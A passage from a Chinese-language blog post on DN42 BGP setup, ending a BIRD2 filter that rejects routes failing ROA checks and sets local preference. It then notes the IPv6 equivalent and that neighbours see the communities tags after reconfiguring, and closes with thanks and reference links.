"[dn42] ROA check failed for ", net, " ASN ", bgp_path.last; reject; } + bgp_local_pref = ebgp_calculate_priority(); accept; } reject; }; IPv6也如法炮制即可。 运行birdc configure之后，我们应该就能在自己的邻居那里看到我们的路由已经被打上了Communities标签： （此处截图来自：https://lg.milu.moe/route_all/hk/172.20.234.224） 特别感谢Nuro Trace大佬和Xe_iu大佬，他们帮助我加深了对BGP Communities的理解并提供了很多帮助 参考文章： [DN42] bird2的配置文件 – Xe_iu's Blog | Xe_iu的杂物间 [DN42] 谈一谈如何配置 BGP community – Xe_iu's Blog | Xe_iu的杂物间 BGP-communities - DN42 Wiki